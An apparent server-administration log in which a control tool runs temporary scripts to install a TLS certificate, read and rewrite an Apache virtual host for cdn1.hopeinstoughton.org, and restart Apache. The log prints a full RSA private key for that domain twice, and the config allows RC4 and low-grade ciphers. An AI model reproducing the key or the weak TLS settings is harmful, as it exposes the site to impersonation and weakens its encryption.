beHFEd6dgaJkG7IINB59mOhSpbpmYAgZMyAXkLdrnMEkKkAxmhCQ0FaKdvc2YAnp
ceVSt9qsY7/HfuRj9tTMM0YGhQKBgQDN6dtMGCkWDkNSiYE3fTSiRKIlf0pQG9p3
XBh3iVKDcte7C5fkqnSBvRtS0IY+Ef+BzkH+o8s5g29m0pN0xzONvdZFNuhBo4CA
Z8rqXn/aSSxrA7JIuhch9g7TNlzvXdE4mHX0KEbdhER0CWpHjKOxrDXVsN+eik1b
Tf0LMdO/BQKBgGEEeKGgOHZwtUqM4WYjhTzPgUHr/rTkmoyLFmfQKomusLmVkf7O
96nbRq3eyItx8c3QK85y8A4n5Tvt1lvNHfKtlCAiFpjTRoHFGhlX2SmRPDk7epK6
HmD9E0VJXGMmZpTcTyIYrl/u7t8gpXI2pc55RO77PfSSospZd2CcY5BFAoGAcuKY
VRNh0QlyLFnFu4Ti2eo7IXqsppdzw4ahrAf0/pwTmytzusQTrtMorILlczoteWnv
zjfqyhL4E8FHPi9qJxoUs5dX7E9iAcJnJ25EHTEYVDjCvur8vxj+2n8JSQ/qDI6b
uPbD2xHR83/RSUxBhH7Vpn1Btr3pPRj9JsLNJlUCgYAlcPZNiuOu/w1hb/kEA11i
lC0z2KWCl+htj3aUX8UvySVP7X8bCNvOjaC7iuQyqoaXVOvE8Udjp8QimFyf6tCS
EToQJVTc6hjQyFC4dsCTEHhuSK/MEPr4SUIa3H5HryhaxezhZrKYg3Zkt/1zi1Ki
HMie8DQqTQRrQ3ATbVkhvw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-03 06:02:18:
chmod 755 /tmp/pkp488928; /tmp/pkp488928; rm /tmp/pkp488928
2025-11-03 06:02:18:
dir=/etc/ssl/certs
2025-11-03 06:02:18:
PUT: /tmp/pkp459162
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-03 06:02:18:
chmod 755 /tmp/pkp459162; /tmp/pkp459162; rm /tmp/pkp459162
2025-11-03 06:02:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 48
<VirtualHost *:80>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-11-03 06:02:18:
PUT: /tmp/pkp727854
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn1_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf= 1'
fi
2025-11-03 06:02:18:
chmod 755 /tmp/pkp727854; /tmp/pkp727854; rm /tmp/pkp727854
2025-11-03 06:02:18:
2025-11-03 06:02:18:
PUT: /tmp/pkp905409
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-03 06:02:18:
chmod 755 /tmp/pkp905409; /tmp/pkp905409; rm /tmp/pkp905409
2025-11-03 06:02:18:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-03 06:02:18: Establishing a connection
2025-11-03 06:02:18:
PUT: /tmp/pkp350320
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-03 06:02:18:
chmod 755 /tmp/pkp350320; /tmp/pkp350320; rm /tmp/pkp350320
2025-11-03 06:02:18:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-03 06:02:18:
PUT: /tmp/pkp836746
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:02:18:
chmod 755 /tmp/pkp836746; /tmp/pkp836746; rm /tmp/pkp836746
2025-11-03 06:02:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 1656
<VirtualHost *:80>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-11-03 06:02:18:
PUT: /tmp/pkp468982
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:02:18:
chmod 755 /tmp/pkp468982; /tmp/pkp468982; rm /tmp/pkp468982
2025-11-03 06:02:18:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt 5374
bb:b1:59:28:20:27:6b:b9:64:e3:6e:28:af:51:42:20
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBgLQBKvcCTf4EzCNwYgspHOMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMzQ1WhcNMjYwMjAxMDUwMzQ0WjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC4OVjjNYDjON/WpA910nauzwBzDhCOtgFwxz7lN0+0xJNxdxN6
VK8RJXPQ/C70mR19dPJJd5NkJvpVFZ+QZnLCOri944FHw0G4vCgGgUpguX+2dL/3
1rsYnT3f+4/EiuvdyjLq3WGpJOVYLQWwsJjDEpia6iU7cld6koSSsv+zM9oxrXGj
JvJI9zPX9eAjH998mjtS0CPehJR4ggSDL3W6lInkMBxC5IynIoWjfl10nn39bm6a
p5WUXNE2X9rMc/k/A5YX3g6e/Nh+3qza5rcJjgiJxsLxc0oTB3clV8NvAQd/KCUa
OpyntF6qwgfaOB87xOKixCpwDDwp5OwT2luZAgMBAAGjggIqMIICJjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFBCMVjZ2AXrohXKF4WlIchxHoPWiMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTMuY3JsMIIBBgYKKwYBBAHW
eQIEAgSB9wSB9ADyAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYA
AAGaSE8cNgAABAMASDBGAiEApkejYcEqEU3B4nd+fmVj+IRlqbP7qdr3Vd12NtDL
jO8CIQChUF91YR1zjALCIu98pMdIgaTZ5MXBkEACFyJ26hQtXAB3ABmG1Mcoqm/+
ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmkhPI8AAAAQDAEgwRgIhAOcZSiqr
tuMLz4tSlsAMRilZsxkM2zO8NIshTTDYFdcwAiEA6+1QHC3RvzEeUQT3v8xNBUvW
rOFsn+YzOH6coUBOuz0wDQYJKoZIhvcNAQELBQADggEBALqUYfj6OrdaUrFOu8Fg
VV3aZOvtgsSD5bwViCvqcfFLPSQV/hsHh/3nZ/xcHSMFcHDcKAf9kCA5mlEq195Y
zXPgB8RBodgLXDYc3bHnmbSGSF/YijoP1KRMWxYw0eCyZzbGCqZq4YofQ2HVtUSi
do/g4beazlARQzKgUtBXPw/a2ceeb1aM3gzDNWtTa2a2dcjPzuZIgn3NV7b7egVt
E7dH17gub/haL03mFMane/aIwCVoxRejAidF0YpWRod+lRUgkBhfQuCfO9gQCDSB
joqQ6v5GgHyS8kUkron41hDmXGIb4uS1u6aotVVB/FEOPMcLBGaupuezFYS+EEk7
QzM=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC4OVjjNYDjON/W
pA910nauzwBzDhCOtgFwxz7lN0+0xJNxdxN6VK8RJXPQ/C70mR19dPJJd5NkJvpV
FZ+QZnLCOri944FHw0G4vCgGgUpguX+2dL/31rsYnT3f+4/EiuvdyjLq3WGpJOVY
LQWwsJjDEpia6iU7cld6koSSsv+zM9oxrXGjJvJI9zPX9eAjH998mjtS0CPehJR4
ggSDL3W6lInkMBxC5IynIoWjfl10nn39bm6ap5WUXNE2X9rMc/k/A5YX3g6e/Nh+
3qza5rcJjgiJxsLxc0oTB3clV8NvAQd/KCUaOpyntF6qwgfaOB87xOKixCpwDDwp
5OwT2luZAgMBAAECggEAPMvQJct2aYZPeIpT/9IhELeHsnClzjMKbqmSfBqw1zs4
XW2qo+hmjgYKHqHa7SXKsahyfQRVQ+wJGSM1sXXd0XOHnEMEWyZ4/fo6S0tHvHv7
Rb9pyuS2gf0CenSOkZI3HM6p1xCQNj3S4jKZeiINh/MPIbC78M5fSDgqQC+KaxzW
DtIlwsOIDZIHoCkajcTI0XjarVsh8AT95VeKt7XtHMZzbdPC/JEDKJOAoedQdGbm
DWRTwiZxattJ3bWO7Yly67DRSVhBd/lQO9otjdYoxXsBnDDho4AfBepQJ/KZtmDF
TJDaQ72ZsIF1G0gQ7BbxiNYiN0ay+i6IoSCW5sTvwQKBgQDlCOVEfxetiHewa2Ag
Nc+zUf1WwkRzX7lWIqUcfZ6U+gAhssZSlC0xe32w/BDzi9HaYDInEcZNLyA1llLO
beHFEd6dgaJkG7IINB59mOhSpbpmYAgZMyAXkLdrnMEkKkAxmhCQ0FaKdvc2YAnp
ceVSt9qsY7/HfuRj9tTMM0YGhQKBgQDN6dtMGCkWDkNSiYE3fTSiRKIlf0pQG9p3
XBh3iVKDcte7C5fkqnSBvRtS0IY+Ef+BzkH+o8s5g29m0pN0xzONvdZFNuhBo4CA
Z8rqXn/aSSxrA7JIuhch9g7TNlzvXdE4mHX0KEbdhER0CWpHjKOxrDXVsN+eik1b
Tf0LMdO/BQKBgGEEeKGgOHZwtUqM4WYjhTzPgUHr/rTkmoyLFmfQKomusLmVkf7O
96nbRq3eyItx8c3QK85y8A4n5Tvt1lvNHfKtlCAiFpjTRoHFGhlX2SmRPDk7epK6
HmD9E0VJXGMmZpTcTyIYrl/u7t8gpXI2pc55RO77PfSSospZd2CcY5BFAoGAcuKY
VRNh0QlyLFnFu4Ti2eo7IXqsppdzw4ahrAf0/pwTmytzusQTrtMorILlczoteWnv
zjfqyhL4E8FHPi9qJxoUs5dX7E9iAcJnJ25EHTEYVDjCvur8vxj+2n8JSQ/qDI6b
uPbD2xHR83/RSUxBhH7Vpn1Btr3pPRj9JsLNJlUCgYAlcPZNiuOu/w1hb/kEA11i
lC0z2KWCl+htj3aUX8UvySVP7X8bCNvOjaC7iuQyqoaXVOvE8Udjp8QimFyf6tCS
EToQJVTc6hjQyFC4dsCTEHhuSK/MEPr4SUIa3H5HryhaxezhZrKYg3Zkt/1zi1Ki
HMie8DQqTQRrQ3ATbVkhvw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
